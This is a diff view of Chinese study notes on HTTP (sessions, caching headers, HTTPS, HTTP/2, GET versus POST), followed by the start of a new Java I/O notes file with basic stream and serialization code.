应该注意 Session ID 的安全性问题,不能让它被恶意攻击者轻易获取,那么就不能产生一个容易被猜到的 Session ID 值。此外,还需要经常重新生成 Session ID。在对安全性要求极高的场景下,例如转账等操作,除了使用 Session 管理用户状态之外,还需要对用户进行重新验证,比如重新输入密码,或者使用短信验证码等方式。
|
||||
|
||||
### 9. 浏览器禁用 Cookie
|
||||
|
||||
此时无法使用 Cookie 来保存用户信息,只能使用 Session。除此之外,不能再将 Session ID 存放到 Cookie 中,而是使用 URL 重写技术,将 Session ID 作为 URL 的参数进行传递。
|
||||
|
||||
### 10. Cookie 与 Session 选择
|
||||
|
||||
- Cookie 只能存储 ASCII 码字符串,而 Session 则可以存取任何类型的数据,因此在考虑数据复杂性时首选 Session;
|
||||
- Cookie 存储在浏览器中,容易被恶意查看。如果非要将一些隐私数据存在 Cookie 中,可以将 Cookie 值进行加密,然后在服务器进行解密;
|
||||
- 对于大型网站,如果用户所有的信息都存储在 Session 中,那么开销是非常大的,因此不建议将所有的用户信息都存储到 Session 中。
|
||||
|
||||
## 缓存
|
||||
|
||||
### 1. 优点
|
||||
|
||||
- 缓解服务器压力;
|
||||
- 降低客户端获取资源的延迟:缓存通常位于内存中,读取缓存的速度更快。并且缓存在地理位置上也有可能比源服务器来得近,例如浏览器缓存。
|
||||
|
||||
### 2. 实现方法
|
||||
|
||||
- 让代理服务器进行缓存;
|
||||
- 让客户端浏览器进行缓存。
|
||||
|
||||
### 3. Cache-Control
|
||||
|
||||
HTTP/1.1 通过 Cache-Control 首部字段来控制缓存。
|
||||
|
||||
**3.1 禁止进行缓存**
|
||||
|
||||
no-store 指令规定不能对请求或响应的任何一部分进行缓存。
|
||||
|
||||
```html
|
||||
Cache-Control: no-store
|
||||
```
|
||||
|
||||
**3.2 强制确认缓存**
|
||||
|
||||
no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性,只有当缓存资源有效才将能使用该缓存对客户端的请求进行响应。
|
||||
|
||||
```html
|
||||
Cache-Control: no-cache
|
||||
```
|
||||
|
||||
**3.3 私有缓存和公共缓存**
|
||||
|
||||
private 指令规定了将资源作为私有缓存,只能被单独用户所使用,一般存储在用户浏览器中。
|
||||
|
||||
```html
|
||||
Cache-Control: private
|
||||
```
|
||||
|
||||
public 指令规定了将资源作为公共缓存,可以被多个用户所使用,一般存储在代理服务器中。
|
||||
|
||||
```html
|
||||
Cache-Control: public
|
||||
```
|
||||
|
||||
**3.4 缓存过期机制**
|
||||
|
||||
max-age 指令出现在请求报文中,并且缓存资源的缓存时间小于该指令指定的时间,那么就能接受该缓存。
|
||||
|
||||
max-age 指令出现在响应报文中,表示缓存资源在缓存服务器中保存的时间。
|
||||
|
||||
```html
|
||||
Cache-Control: max-age=31536000
|
||||
```
|
||||
|
||||
Expires 首部字段也可以用于告知缓存服务器该资源什么时候会过期。
|
||||
|
||||
```html
|
||||
Expires: Wed, 04 Jul 2012 08:26:05 GMT
|
||||
```
|
||||
|
||||
- 在 HTTP/1.1 中,会优先处理 max-age 指令;
|
||||
- 在 HTTP/1.0 中,max-age 指令会被忽略掉。
|
||||
|
||||
### 4. 缓存验证
|
||||
|
||||
需要先了解 ETag 首部字段的含义,它是资源的唯一标识。URL 不能唯一表示资源,例如 `http://www.google.com/` 有中文和英文两个资源,只有 ETag 才能对这两个资源进行唯一标识。
|
||||
|
||||
```html
|
||||
ETag: "82e22293907ce725faf67773957acd12"
|
||||
```
|
||||
|
||||
可以将缓存资源的 ETag 值放入 If-None-Match 首部,服务器收到该请求后,判断缓存资源的 ETag 值和资源的最新 ETag 值是否一致,如果一致则表示缓存资源有效,返回 304 Not Modified。
|
||||
|
||||
```html
|
||||
If-None-Match: "82e22293907ce725faf67773957acd12"
|
||||
```
|
||||
|
||||
Last-Modified 首部字段也可以用于缓存验证,它包含在源服务器发送的响应报文中,指示源服务器对资源的最后修改时间。但是它是一种弱校验器,因为只能精确到一秒,所以它通常作为 ETag 的备用方案。如果响应首部字段里含有这个信息,客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回,状态码为 200 OK。如果请求的资源从那时起未经修改,那么返回一个不带有消息主体的 304 Not Modified 响应。
|
||||
|
||||
```html
|
||||
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
|
||||
```
|
||||
|
||||
```html
|
||||
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
|
||||
```
|
||||
|
||||
## 内容协商
|
||||
|
||||
通过内容协商返回最合适的内容,例如根据浏览器的默认语言选择返回中文界面还是英文界面。
|
||||
|
||||
### 1. 类型
|
||||
|
||||
**1.1 服务端驱动型**
|
||||
|
||||
客户端设置特定的 HTTP 首部字段,例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language,服务器根据这些字段返回特定的资源。
|
||||
|
||||
它存在以下问题:
|
||||
|
||||
- 服务器很难知道客户端浏览器的全部信息;
|
||||
- 客户端提供的信息相当冗长(HTTP/2 协议的首部压缩机制缓解了这个问题),并且存在隐私风险(HTTP 指纹识别技术);
|
||||
- 给定的资源需要返回不同的展现形式,共享缓存的效率会降低,而服务器端的实现会越来越复杂。
|
||||
|
||||
**1.2 代理驱动型**
|
||||
|
||||
服务器返回 300 Multiple Choices 或者 406 Not Acceptable,客户端从中选出最合适的那个资源。
|
||||
|
||||
### 2. Vary
|
||||
|
||||
```html
|
||||
Vary: Accept-Language
|
||||
```
|
||||
|
||||
在使用内容协商的情况下,只有当缓存服务器中的缓存满足内容协商条件时,才能使用该缓存,否则应该向源服务器请求该资源。
|
||||
|
||||
例如,一个客户端发送了一个包含 Accept-Language 首部字段的请求之后,源服务器返回的响应包含 `Vary: Accept-Language` 内容,缓存服务器对这个响应进行缓存之后,在客户端下一次访问同一个 URL 资源,并且 Accept-Language 与缓存中的对应的值相同时才会返回该缓存。
|
||||
|
||||
## 内容编码
|
||||
|
||||
内容编码将实体主体进行压缩,从而减少传输的数据量。
|
||||
|
||||
常用的内容编码有:gzip、compress、deflate、identity。
|
||||
|
||||
浏览器发送 Accept-Encoding 首部,其中包含有它所支持的压缩算法,以及各自的优先级。服务器则从中选择一种,使用该算法对响应的消息主体进行压缩,并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的,在响应的 Vary 首部至少要包含 Content-Encoding。
|
||||
|
||||
## 范围请求
|
||||
|
||||
如果网络出现中断,服务器只发送了一部分数据,范围请求可以使得客户端只请求服务器未发送的那部分数据,从而避免服务器重新发送所有数据。
|
||||
|
||||
### 1. Range
|
||||
|
||||
在请求报文中添加 Range 首部字段指定请求的范围。
|
||||
|
||||
```html
|
||||
GET /z4d4kWk.jpg HTTP/1.1
|
||||
Host: i.imgur.com
|
||||
Range: bytes=0-1023
|
||||
```
|
||||
|
||||
请求成功的话服务器返回的响应包含 206 Partial Content 状态码。
|
||||
|
||||
```html
|
||||
HTTP/1.1 206 Partial Content
|
||||
Content-Range: bytes 0-1023/146515
|
||||
Content-Length: 1024
|
||||
...
|
||||
(binary content)
|
||||
```
|
||||
|
||||
### 2. Accept-Ranges
|
||||
|
||||
响应首部字段 Accept-Ranges 用于告知客户端是否能处理范围请求,可以处理使用 bytes,否则使用 none。
|
||||
|
||||
```html
|
||||
Accept-Ranges: bytes
|
||||
```
|
||||
|
||||
### 3. 响应状态码
|
||||
|
||||
- 在请求成功的情况下,服务器会返回 206 Partial Content 状态码。
|
||||
- 在请求的范围越界的情况下,服务器会返回 416 Requested Range Not Satisfiable 状态码。
|
||||
- 在不支持范围请求的情况下,服务器会返回 200 OK 状态码。
|
||||
|
||||
## 分块传输编码
|
||||
|
||||
Chunked Transfer Coding,可以把数据分割成多块,让浏览器逐步显示页面。
|
||||
|
||||
## 多部分对象集合
|
||||
|
||||
一份报文主体内可含有多种类型的实体同时发送,每个部分之间用 boundary 字段定义的分隔符进行分隔,每个部分都可以有首部字段。
|
||||
|
||||
例如,上传多个表单时可以使用如下方式:
|
||||
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=AaB03x
|
||||
|
||||
--AaB03x
|
||||
Content-Disposition: form-data; name="submit-name"
|
||||
|
||||
Larry
|
||||
--AaB03x
|
||||
Content-Disposition: form-data; name="files"; filename="file1.txt"
|
||||
Content-Type: text/plain
|
||||
|
||||
... contents of file1.txt ...
|
||||
--AaB03x--
|
||||
```
|
||||
|
||||
## 虚拟主机
|
||||
|
||||
HTTP/1.1 使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。
|
||||
|
||||
## 通信数据转发
|
||||
|
||||
### 1. 代理
|
||||
|
||||
代理服务器接受客户端的请求,并且转发给其它服务器。
|
||||
|
||||
使用代理的主要目的是:
|
||||
|
||||
- 缓存
|
||||
- 负载均衡
|
||||
- 网络访问控制
|
||||
- 访问日志记录
|
||||
|
||||
代理服务器分为正向代理和反向代理两种:
|
||||
|
||||
- 用户察觉得到正向代理的存在。
|
||||
|
||||
<div align="center"> <img src="../pics//a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/> </div><br>
|
||||
|
||||
- 而反向代理一般位于内部网络中,用户察觉不到。
|
||||
|
||||
<div align="center"> <img src="../pics//2d09a847-b854-439c-9198-b29c65810944.png" width=""/> </div><br>
|
||||
|
||||
### 2. 网关
|
||||
|
||||
与代理服务器不同的是,网关服务器会将 HTTP 转化为其它协议进行通信,从而请求其它非 HTTP 服务器的服务。
|
||||
|
||||
### 3. 隧道
|
||||
|
||||
使用 SSL 等加密手段,在客户端和服务器之间建立一条安全的通信线路。
|
||||
|
||||
# 六、HTTPs
|
||||
|
||||
HTTP 有以下安全性问题:
|
||||
|
||||
- 使用明文进行通信,内容可能会被窃听;
|
||||
- 不验证通信方的身份,通信方的身份有可能遭遇伪装;
|
||||
- 无法证明报文的完整性,报文有可能遭篡改。
|
||||
|
||||
HTTPs 并不是新协议,而是让 HTTP 先和 SSL(Secure Sockets Layer)通信,再由 SSL 和 TCP 通信,也就是说 HTTPs 使用了隧道进行通信。
|
||||
|
||||
通过使用 SSL,HTTPs 具有了加密(防窃听)、认证(防伪装)和完整性保护(防篡改)。
|
||||
|
||||
<div align="center"> <img src="../pics//ssl-offloading.jpg" width="700"/> </div><br>
|
||||
|
||||
## 加密
|
||||
|
||||
### 1. 对称密钥加密
|
||||
|
||||
对称密钥加密(Symmetric-Key Encryption),加密和解密使用同一密钥。
|
||||
|
||||
- 优点:运算速度快;
|
||||
- 缺点:无法安全地将密钥传输给通信方。
|
||||
|
||||
<div align="center"> <img src="../pics//7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br>
|
||||
|
||||
### 2.非对称密钥加密
|
||||
|
||||
非对称密钥加密,又称公开密钥加密(Public-Key Encryption),加密和解密使用不同的密钥。
|
||||
|
||||
公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
|
||||
|
||||
非对称密钥除了用来加密,还可以用来进行签名。因为私有密钥无法被其他人获取,因此通信发送方使用其私有密钥进行签名,通信接收方使用发送方的公开密钥对签名进行解密,就能判断这个签名是否正确。
|
||||
|
||||
- 优点:可以更安全地将公开密钥传输给通信发送方;
|
||||
- 缺点:运算速度慢。
|
||||
|
||||
<div align="center"> <img src="../pics//39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br>
|
||||
|
||||
### 3. HTTPs 采用的加密方式
|
||||
|
||||
HTTPs 采用混合的加密机制,使用非对称密钥加密用于传输对称密钥来保证传输过程的安全性,之后使用对称密钥加密进行通信来保证通信过程的效率。(下图中的 Session Key 就是对称密钥)
|
||||
|
||||
<div align="center"> <img src="../pics//How-HTTPS-Works.png" width="600"/> </div><br>
|
||||
|
||||
## 认证
|
||||
|
||||
通过使用 **证书** 来对通信方进行认证。
|
||||
|
||||
数字证书认证机构(CA,Certificate Authority)是客户端与服务器双方都可信赖的第三方机构。
|
||||
|
||||
服务器的运营人员向 CA 提出公开密钥的申请,CA 在判明提出申请者的身份之后,会对已申请的公开密钥做数字签名,然后分配这个已签名的公开密钥,并将该公开密钥放入公开密钥证书后绑定在一起。
|
||||
|
||||
进行 HTTPs 通信时,服务器会把证书发送给客户端。客户端取得其中的公开密钥之后,先使用数字签名进行验证,如果验证通过,就可以开始通信了。
|
||||
|
||||
通信开始时,客户端需要使用服务器的公开密钥将自己的私有密钥传输给服务器,之后再进行对称密钥加密。
|
||||
|
||||
<div align="center"> <img src="../pics//2017-06-11-ca.png" width=""/> </div><br>
|
||||
|
||||
## 完整性保护
|
||||
|
||||
SSL 提供报文摘要功能来进行完整性保护。
|
||||
|
||||
HTTP 也提供了 MD5 报文摘要功能,但不是安全的。例如报文内容被篡改之后,同时重新计算 MD5 的值,通信接收方是无法意识到发生了篡改。
|
||||
|
||||
HTTPs 的报文摘要功能之所以安全,是因为它结合了加密和认证这两个操作。试想一下,加密之后的报文,遭到篡改之后,也很难重新计算报文摘要,因为无法轻易获取明文。
|
||||
|
||||
## HTTPs 的缺点
|
||||
|
||||
- 因为需要进行加密解密等过程,因此速度会更慢;
|
||||
- 需要支付证书授权的高额费用。
|
||||
# 七、HTTP/2.0
|
||||
|
||||
## HTTP/1.x 缺陷
|
||||
|
||||
HTTP/1.x 实现简单是以牺牲性能为代价的:
|
||||
|
||||
- 客户端需要使用多个连接才能实现并发和缩短延迟;
|
||||
- 不会压缩请求和响应首部,从而导致不必要的网络流量;
|
||||
- 不支持有效的资源优先级,致使底层 TCP 连接的利用率低下。
|
||||
|
||||
## 二进制分帧层
|
||||
|
||||
HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧,它们都是二进制格式的。
|
||||
|
||||
<div align="center"> <img src="../pics//86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/> </div><br>
|
||||
|
||||
在通信过程中,只会有一个 TCP 连接存在,它承载了任意数量的双向数据流(Stream)。
|
||||
|
||||
- 一个数据流(Stream)都有一个唯一标识符和可选的优先级信息,用于承载双向信息。
|
||||
- 消息(Message)是与逻辑请求或响应对应的完整的一系列帧。
|
||||
- 帧(Frame)是最小的通信单位,来自不同数据流的帧可以交错发送,然后再根据每个帧头的数据流标识符重新组装。
|
||||
|
||||
<div align="center"> <img src="../pics//af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/> </div><br>
|
||||
|
||||
## 服务端推送
|
||||
|
||||
HTTP/2.0 在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 page.html 页面,服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。
|
||||
|
||||
<div align="center"> <img src="../pics//e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/> </div><br>
|
||||
|
||||
## 首部压缩
|
||||
|
||||
HTTP/1.1 的首部带有大量信息,而且每次都要重复发送。
|
||||
|
||||
HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表,从而避免了重复传输。
|
||||
|
||||
不仅如此,HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。
|
||||
|
||||
<div align="center"> <img src="../pics//_u4E0B_u8F7D.png" width="600"/> </div><br>
|
||||
|
||||
# 八、HTTP/1.1 新特性
|
||||
|
||||
详细内容请见上文
|
||||
|
||||
- 默认是长连接
|
||||
|
||||
- 支持流水线
|
||||
|
||||
- 支持同时打开多个 TCP 连接
|
||||
|
||||
- 支持虚拟主机
|
||||
|
||||
- 新增状态码 100
|
||||
|
||||
- 支持分块传输编码
|
||||
|
||||
- 新增缓存处理指令 max-age
|
||||
|
||||
# 九、GET 和 POST 比较
|
||||
|
||||
## 作用
|
||||
|
||||
GET 用于获取资源,而 POST 用于传输实体主体。
|
||||
|
||||
## 参数
|
||||
|
||||
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在实体主体中。不能因为 POST 参数存储在实体主体中就认为它的安全性更高,因为照样可以通过一些抓包工具(Fiddler)查看。
|
||||
|
||||
因为 URL 只支持 ASCII 码,因此 GET 的参数中如果存在中文等字符就需要先进行编码。例如 `中文` 会转换为 `%E4%B8%AD%E6%96%87`,而空格会转换为 `%20`。POST 参考支持标准字符集。
|
||||
|
||||
```
|
||||
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
|
||||
```
|
||||
|
||||
```
|
||||
POST /test/demo_form.asp HTTP/1.1
|
||||
Host: w3schools.com
|
||||
name1=value1&name2=value2
|
||||
```
|
||||
|
||||
## 安全
|
||||
|
||||
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
|
||||
|
||||
GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实体主体内容,这个内容可能是用户上传的表单数据,上传成功之后,服务器可能把这个数据存储到数据库中,因此状态也就发生了改变。
|
||||
|
||||
安全的方法除了 GET 之外还有:HEAD、OPTIONS。
|
||||
|
||||
不安全的方法除了 POST 之外还有 PUT、DELETE。
|
||||
|
||||
## 幂等性
|
||||
|
||||
幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。
|
||||
|
||||
所有的安全方法也都是幂等的。
|
||||
|
||||
在正确实现的条件下,GET,HEAD,PUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。
|
||||
|
||||
GET /pageX HTTP/1.1 是幂等的,连续调用多次,客户端接收到的结果都是一样的:
|
||||
|
||||
```
|
||||
GET /pageX HTTP/1.1
|
||||
GET /pageX HTTP/1.1
|
||||
GET /pageX HTTP/1.1
|
||||
GET /pageX HTTP/1.1
|
||||
```
|
||||
|
||||
POST /add_row HTTP/1.1 不是幂等的,如果调用多次,就会增加多行记录:
|
||||
|
||||
```
|
||||
POST /add_row HTTP/1.1 -> Adds a 1nd row
|
||||
POST /add_row HTTP/1.1 -> Adds a 2nd row
|
||||
POST /add_row HTTP/1.1 -> Adds a 3rd row
|
||||
```
|
||||
|
||||
DELETE /idX/delete HTTP/1.1 是幂等的,即便不同的请求接收到的状态码不一样:
|
||||
|
||||
```
|
||||
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
|
||||
DELETE /idX/delete HTTP/1.1 -> Returns 404 as it just got deleted
|
||||
DELETE /idX/delete HTTP/1.1 -> Returns 404
|
||||
```
|
||||
|
||||
## 可缓存
|
||||
|
||||
如果要对响应进行缓存,需要满足以下条件:
|
||||
|
||||
- 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD,但是 PUT 和 DELETE 不可缓存,POST 在多数情况下不可缓存的。
|
||||
- 响应报文的状态码是可缓存的,包括:200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
|
||||
- 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
|
||||
|
||||
## XMLHttpRequest
|
||||
|
||||
为了阐述 POST 和 GET 的另一个区别,需要先了解 XMLHttpRequest:
|
||||
|
||||
> XMLHttpRequest 是一个 API,它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式,并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
|
||||
|
||||
- 在使用 XMLHttpRequest 的 POST 方法时,浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做,例如火狐就不会。
|
||||
- 而 GET 方法 Header 和 Data 会一起发送。
|
||||
|
||||
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 上野宣. 图解 HTTP[M]. 人民邮电出版社, 2014.
|
||||
- [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)
|
||||
- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
|
||||
- [htmlspecialchars](http://php.net/manual/zh/function.htmlspecialchars.php)
|
||||
- [Difference between file URI and URL in java](http://java2db.com/java-io/how-to-get-and-the-difference-between-file-uri-and-url-in-java)
|
||||
- [How to Fix SQL Injection Using Java PreparedStatement & CallableStatement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)
|
||||
- [浅谈 HTTP 中 Get 与 Post 的区别](https://www.cnblogs.com/hyddd/archive/2009/03/31/1426026.html)
|
||||
- [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/)
|
||||
- [HTTP (HyperText Transfer Protocol)](https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html)
|
||||
- [Web-VPN: Secure Proxies with SPDY & Chrome](https://www.igvita.com/2011/12/01/web-vpn-secure-proxies-with-spdy-chrome/)
|
||||
- [File:HTTP persistent connection.svg](http://en.wikipedia.org/wiki/File:HTTP_persistent_connection.svg)
|
||||
- [Proxy server](https://en.wikipedia.org/wiki/Proxy_server)
|
||||
- [What Is This HTTPS/SSL Thing And Why Should You Care?](https://www.x-cart.com/blog/what-is-https-and-ssl.html)
|
||||
- [What is SSL Offloading?](https://securebox.comodo.com/ssl-sniffing/ssl-offloading/)
|
||||
- [Sun Directory Server Enterprise Edition 7.0 Reference - Key Encryption](https://docs.oracle.com/cd/E19424-01/820-4811/6ng8i26bn/index.html)
|
||||
- [An Introduction to Mutual SSL Authentication](https://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication)
|
||||
- [The Difference Between URLs and URIs](https://danielmiessler.com/study/url-uri/)
|
||||
- [Cookie 与 Session 的区别](https://juejin.im/entry/5766c29d6be3ff006a31b84e#comment)
|
||||
- [COOKIE 和 SESSION 有什么区别](https://www.zhihu.com/question/19786827)
|
||||
- [Cookie/Session 的机制与安全](https://harttle.land/2015/08/10/cookie-session.html)
|
||||
- [HTTPS 证书原理](https://shijianan.com/2017/06/11/https/)
|
||||
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
|
||||
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
|
||||
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
|
||||
- [Symmetric vs. Asymmetric Encryption – What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)
|
||||
- [Web 性能优化与 HTTP/2](https://www.kancloud.cn/digest/web-performance-http2)
|
||||
- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
|
620
docs/notes/Java IO.md
Normal file
620
docs/notes/Java IO.md
Normal file
@ -0,0 +1,620 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、概览](#一概览)
|
||||
* [二、磁盘操作](#二磁盘操作)
|
||||
* [三、字节操作](#三字节操作)
|
||||
* [实现文件复制](#实现文件复制)
|
||||
* [装饰者模式](#装饰者模式)
|
||||
* [四、字符操作](#四字符操作)
|
||||
* [编码与解码](#编码与解码)
|
||||
* [String 的编码方式](#string-的编码方式)
|
||||
* [Reader 与 Writer](#reader-与-writer)
|
||||
* [实现逐行输出文本文件的内容](#实现逐行输出文本文件的内容)
|
||||
* [五、对象操作](#五对象操作)
|
||||
* [序列化](#序列化)
|
||||
* [Serializable](#serializable)
|
||||
* [transient](#transient)
|
||||
* [六、网络操作](#六网络操作)
|
||||
* [InetAddress](#inetaddress)
|
||||
* [URL](#url)
|
||||
* [Sockets](#sockets)
|
||||
* [Datagram](#datagram)
|
||||
* [七、NIO](#七nio)
|
||||
* [流与块](#流与块)
|
||||
* [通道与缓冲区](#通道与缓冲区)
|
||||
* [缓冲区状态变量](#缓冲区状态变量)
|
||||
* [文件 NIO 实例](#文件-nio-实例)
|
||||
* [选择器](#选择器)
|
||||
* [套接字 NIO 实例](#套接字-nio-实例)
|
||||
* [内存映射文件](#内存映射文件)
|
||||
* [对比](#对比)
|
||||
* [八、参考资料](#八参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、概览
|
||||
|
||||
Java 的 I/O 大概可以分成以下几类:
|
||||
|
||||
- 磁盘操作:File
|
||||
- 字节操作:InputStream 和 OutputStream
|
||||
- 字符操作:Reader 和 Writer
|
||||
- 对象操作:Serializable
|
||||
- 网络操作:Socket
|
||||
- 新的输入/输出:NIO
|
||||
|
||||
# 二、磁盘操作
|
||||
|
||||
File 类可以用于表示文件和目录的信息,但是它不表示文件的内容。
|
||||
|
||||
递归地列出一个目录下所有文件:
|
||||
|
||||
```java
|
||||
public static void listAllFiles(File dir) {
|
||||
if (dir == null || !dir.exists()) {
|
||||
return;
|
||||
}
|
||||
if (dir.isFile()) {
|
||||
System.out.println(dir.getName());
|
||||
return;
|
||||
}
|
||||
for (File file : dir.listFiles()) {
|
||||
listAllFiles(file);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
从 Java7 开始,可以使用 Paths 和 Files 代替 File。
|
||||
|
||||
# 三、字节操作
|
||||
|
||||
## 实现文件复制
|
||||
|
||||
```java
|
||||
public static void copyFile(String src, String dist) throws IOException {
|
||||
FileInputStream in = new FileInputStream(src);
|
||||
FileOutputStream out = new FileOutputStream(dist);
|
||||
|
||||
byte[] buffer = new byte[20 * 1024];
|
||||
int cnt;
|
||||
|
||||
// read() 最多读取 buffer.length 个字节
|
||||
// 返回的是实际读取的个数
|
||||
// 返回 -1 的时候表示读到 eof,即文件尾
|
||||
while ((cnt = in.read(buffer, 0, buffer.length)) != -1) {
|
||||
out.write(buffer, 0, cnt);
|
||||
}
|
||||
|
||||
in.close();
|
||||
out.close();
|
||||
}
|
||||
```
|
||||
|
||||
## 装饰者模式
|
||||
|
||||
Java I/O 使用了装饰者模式来实现。以 InputStream 为例,
|
||||
|
||||
- InputStream 是抽象组件;
|
||||
- FileInputStream 是 InputStream 的子类,属于具体组件,提供了字节流的输入操作;
|
||||
- FilterInputStream 属于抽象装饰者,装饰者用于装饰组件,为组件提供额外的功能。例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。
|
||||
|
||||
<div align="center"> <img src="../pics//DP-Decorator-java.io.png" width="500"/> </div><br>
|
||||
|
||||
实例化一个具有缓存功能的字节流对象时,只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
|
||||
|
||||
```java
|
||||
FileInputStream fileInputStream = new FileInputStream(filePath);
|
||||
BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
|
||||
```
|
||||
|
||||
DataInputStream 装饰者提供了对更多数据类型进行输入的操作,比如 int、double 等基本类型。
|
||||
|
||||
# 四、字符操作
|
||||
|
||||
## 编码与解码
|
||||
|
||||
编码就是把字符转换为字节,而解码是把字节重新组合成字符。
|
||||
|
||||
如果编码和解码过程使用不同的编码方式那么就出现了乱码。
|
||||
|
||||
- GBK 编码中,中文字符占 2 个字节,英文字符占 1 个字节;
|
||||
- UTF-8 编码中,中文字符占 3 个字节,英文字符占 1 个字节;
|
||||
- UTF-16be 编码中,中文字符和英文字符都占 2 个字节。
|
||||
|
||||
UTF-16be 中的 be 指的是 Big Endian,也就是大端。相应地也有 UTF-16le,le 指的是 Little Endian,也就是小端。
|
||||
|
||||
Java 的内存编码使用双字节编码 UTF-16be,这不是指 Java 只支持这一种编码方式,而是说 char 这种类型使用 UTF-16be 进行编码。char 类型占 16 位,也就是两个字节,Java 使用这种双字节编码是为了让一个中文或者一个英文都能使用一个 char 来存储。
|
||||
|
||||
## String 的编码方式
|
||||
|
||||
String 可以看成一个字符序列,可以指定一个编码方式将它编码为字节序列,也可以指定一个编码方式将一个字节序列解码为 String。
|
||||
|
||||
```java
|
||||
String str1 = "中文";
|
||||
byte[] bytes = str1.getBytes("UTF-8");
|
||||
String str2 = new String(bytes, "UTF-8");
|
||||
System.out.println(str2);
|
||||
```
|
||||
|
||||
在调用无参数 getBytes() 方法时,默认的编码方式不是 UTF-16be。双字节编码的好处是可以使用一个 char 存储中文和英文,而将 String 转为 bytes[] 字节数组就不再需要这个好处,因此也就不再需要双字节编码。getBytes() 的默认编码方式与平台有关,一般为 UTF-8。
|
||||
|
||||
```java
|
||||
byte[] bytes = str1.getBytes();
|
||||
```
|
||||
|
||||
## Reader 与 Writer
|
||||
|
||||
不管是磁盘还是网络传输,最小的存储单元都是字节,而不是字符。但是在程序中操作的通常是字符形式的数据,因此需要提供对字符进行操作的方法。
|
||||
|
||||
- InputStreamReader 实现从字节流解码成字符流;
|
||||
- OutputStreamWriter 实现字符流编码成为字节流。
|
||||
|
||||
## 实现逐行输出文本文件的内容
|
||||
|
||||
```java
|
||||
public static void readFileContent(String filePath) throws IOException {
|
||||
|
||||
FileReader fileReader = new FileReader(filePath);
|
||||
BufferedReader bufferedReader = new BufferedReader(fileReader);
|
||||
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
System.out.println(line);
|
||||
}
|
||||
|
||||
// 装饰者模式使得 BufferedReader 组合了一个 Reader 对象
|
||||
// 在调用 BufferedReader 的 close() 方法时会去调用 Reader 的 close() 方法
|
||||
// 因此只要一个 close() 调用即可
|
||||
bufferedReader.close();
|
||||
}
|
||||
```
|
||||
|
||||
# 五、对象操作
|
||||
|
||||
## 序列化
|
||||
|
||||
序列化就是将一个对象转换成字节序列,方便存储和传输。
|
||||
|
||||
- 序列化:ObjectOutputStream.writeObject()
|
||||
- 反序列化:ObjectInputStream.readObject()
|
||||
|
||||
不会对静态变量进行序列化,因为序列化只是保存对象的状态,静态变量属于类的状态。
|
||||
|
||||
## Serializable
|
||||
|
||||
序列化的类需要实现 Serializable 接口,它只是一个标准,没有任何方法需要实现,但是如果不去实现它的话而进行序列化,会抛出异常。
|
||||
|
